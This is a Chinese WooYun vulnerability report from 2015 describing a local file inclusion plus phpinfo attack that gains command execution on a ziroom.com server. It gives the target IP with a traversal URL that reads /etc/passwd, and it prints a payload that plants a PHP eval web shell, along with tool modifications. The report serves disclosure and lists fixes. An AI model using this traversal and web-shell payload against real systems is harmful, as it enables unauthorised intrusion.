当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0151653

漏洞标题:自如网某业务文件包含导致命令执行(LFI + PHPINFO getshell 实例)

相关厂商:ziroom.com

漏洞作者: 只抽红梅

提交时间:2015-11-04 09:07

修复时间:2015-11-09 09:08

公开时间:2015-11-09 09:08

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-04: 细节已通知厂商并且等待厂商处理中
2015-11-09: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

LFI + PHPINFO getshell 这个漏洞利用技巧有些年头了,最近某群里里面也有一些讨论,成功率略低。
恰巧碰到自如网这个实例,又恰巧百发百中,一切都显得那么自然。

详细说明:

LFI + PHPINFO getshell 这个漏洞利用技巧请参考:
https://dl.packetstormsecurity.net/papers/general/LFI_With_PHPInfo_Assitance.pdf
利用工具下载地址:https://www.insomniasec.com/downloads/publications/phpinfolfi.py
下面说自如网的问题:
1. 文件包含漏洞:http://119.254.70.190/?_p=../../../../../../../../../../etc/passwd%00.jpg
2. PHPINFO:http://119.254.70.190/phpinfo.php
用上面文档中的利用代码进行测试即可,代码需要进行部分修改:
1. 根据上面漏洞信息进行修改
2. Payload 代码我替换为:<?php $c=fopen('/tmp/l','w');fwrite($c,'<?php eval($_POST["l"]);?>');?>
3. 代码中有两处 find tmp_name 需要替换成:i = d.find("[tmp_name] =&gt; ")
证明如下:

QQ20151104-2@2x.png


lianjia2.png


漏洞证明:

证明如下:

QQ20151104-2@2x.png


lianjia2.png

修复方案:

1. 删除 PHPINFO 文件
2. 修复文件包含漏洞

版权声明:转载请注明来源 只抽红梅@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-11-09 09:08

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无